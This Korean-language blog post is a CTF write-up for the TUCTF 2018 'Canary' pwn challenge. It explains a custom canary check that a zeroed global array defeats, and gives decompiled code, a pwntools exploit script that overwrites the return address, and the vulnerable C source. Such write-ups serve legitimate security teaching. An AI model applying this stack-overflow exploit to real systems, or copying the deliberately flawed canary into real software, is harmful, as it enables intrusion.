Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- ASM
- pwnable
- shellcode
- writeup
- Bottle
- pico
- toddler
- Bug
- practicalmalwareanalysis
- Rookiss
- string
- CTF
- FSB
- Leak
- reversing
- rev
- Toddler's Bottle
- TUCTF
- anti
- pwnable.kr
- PMA
- CANARY
- format
- picoCTF
- Reverse
- pwn
- BOF
- 2018
- shellcraft
- Read
Archives
- Today
- Total
제리의 블로그
TUCTF 2018 PWN Canary 본문
TUCTF 2018 PWN Canary
요약
이번 문제는
전역변수가 0 으로 초기화 된다는 점을 이용하여
canary 를 0 으로 맞추고
RET address 를 코드영역의 system("/bin/cat ./flag"); 로 돌리면 되는 문제이다.
checkCanary() 함수를 보면
*(_DWORD *)(a1 + 40) 과 cans[*(_DWORD *)(a1 + 44)] 가 같은지 다른지에 따라 stack smash check 를 한다.
a1 의 구역은 스택의 영역이고 cans 의 영역은 전역변수의 영역(.bss) 이다.
전역변수 cans[0] 에는 "/dev/urandom" 값이 저장되어 예측이 불가능하다.
그런데 cans 는 배열이므로 cans[1] 이상은 아직 0 으로 초기화되어있는 상태이다.
따라서 스택엔 직접 0 을 삽입하고 cans[] 는 index 1 이상을 가리키도록 하면
서로 0 이므로 canary 값이 같아진다.
다행이 입력 버퍼를 받는 함수가 read 이므로
NULL 을 포함한 페이로드 입력이 가능하다.
$ file *
canary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9b48c0ff2f3207562359b54cb199bae1583f918c, not stripped
flag: ASCII text
password: ASCII text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./canary
*slides open window*
Password? j3rrry
Yeah right! Scram
일단 실행시켜보았다.
Password 를 입력받고 다르면 "Yeah right! Scram" 을 출력한다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s2; // [sp+0h] [bp-34h]@1
int fd; // [sp+30h] [bp-4h]@1
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
devrand = open("/dev/urandom", 0);
password = malloc(0x20u);
printf("*slides open window*\nPassword? ");
doCanary(&s2);
fd = open("./password", 0);
read(fd, password, 0x21u);
checkPass(password, &s2);
return 0;
}
int __cdecl doCanary(void *buf)
{
initCanary(buf);
read(0, buf, 0x1A4u);
return checkCanary(buf);
}
int __cdecl initCanary(void *s)
{
memset(s, 0, 0x28u);
read(devrand, (char *)s + 40, 4u);
*((_DWORD *)s + 11) = nextind;
cans[nextind] = *((_DWORD *)s + 10);
return nextind++ + 1;
}
int __cdecl checkCanary(int a1)
{
int result; // eax@1
result = *(_DWORD *)(a1 + 40);
if ( result != cans[*(_DWORD *)(a1 + 44)] )
{
puts("---------------------- HEY NO STACK SMASHING! --------------------");
exit(1);
}
return result;
}
int __cdecl checkPass(void *s1, void *s2)
{
int result; // eax@2
if ( !memcmp(s1, s2, 0x20u) )
{
puts("*unlocks door*\nYou're cool, c'mon in");
result = system("/bin/cat ./flag");
}
else
{
result = puts("Yeah right! Scram");
}
return result;
}
from pwn import *
r = process('./canary')
payload = ''
payload += '\0' * 0x2C
payload += p32(1) # cans[1]
payload += p32(0x080486C4) * 3
r.sendline(payload)
r.interactive()
chechCanary() 를 보면
cans[*(_DWORD *)(a1 + 44)] 와 비교하는 부분을 넘기기 위해서는
전역변수 영역은 0 으로 초기화 되어있음을 이용하면 된다.
cans[0] 은 /dev/urandom 값으로 알 수 없지만
cans[1] 부터는 0 으로 초기화 되어있다.
그렇기 때문에 0 으로 canary 값을 맞춰준다.
read 함수로 버퍼를 입력받기 때문에 가능한 일.
RET 를 system("/bin/cat ./flag"); 코드 영역으로 돌리면 끝.
// gcc -o canary canary.c -m32 -no-pie -fno-pic -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int nextind, devrand;
char *password;
int cans[2];
void initCanary(char *s)
{
memset(s, 0, 0x28u);
read(devrand, s + 0x28, 4u);
*((unsigned int *)s + 11) = nextind;
cans[nextind] = *((unsigned int *)s + 10);
nextind++;
}
void checkCanary(int *a1)
{
if ( *(unsigned int *)(a1 + 10) != cans[*(unsigned int *)(a1 + 11)] )
{
puts("---------------------- HEY NO STACK SMASHING! --------------------");
exit(1);
}
}
void checkPass(char *s1, char *s2)
{
if ( !memcmp(s1, s2, 0x20u) )
{
puts("*unlocks door*\nYou're cool, c'mon in");
system("/bin/cat ./flag");
}
else
{
puts("Yeah right! Scram");
}
}
void doCanary(char *buf)
{
initCanary(buf);
read(0, buf, 0x1A4u);
checkCanary((int *)buf);
}
void main(int argc, const char **argv, const char **envp)
{
char s2[0x30]; // [sp+0h] [bp-34h]@1
int fd; // [sp+30h] [bp-4h]@1
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
devrand = open("/dev/urandom", 0);
password = malloc(0x20u);
printf("*slides open window*\nPassword? ");
doCanary(s2);
fd = open("./password", 0);
read(fd, password, 0x21u);
checkPass(password, s2);
}
'CTF > pwnable' 카테고리의 다른 글
TUCTF 2018 PWN Timber (0) | 2018.11.27 |
---|---|
TUCTF 2018 PWN shella-hard (0) | 2018.11.27 |
TUCTF 2018 PWN ehh (0) | 2018.11.26 |
TUCTF 2018 PWN shella-easy (0) | 2018.11.26 |
picoCTF 2018 are you root? Binary Exploit (0) | 2018.11.02 |
Comments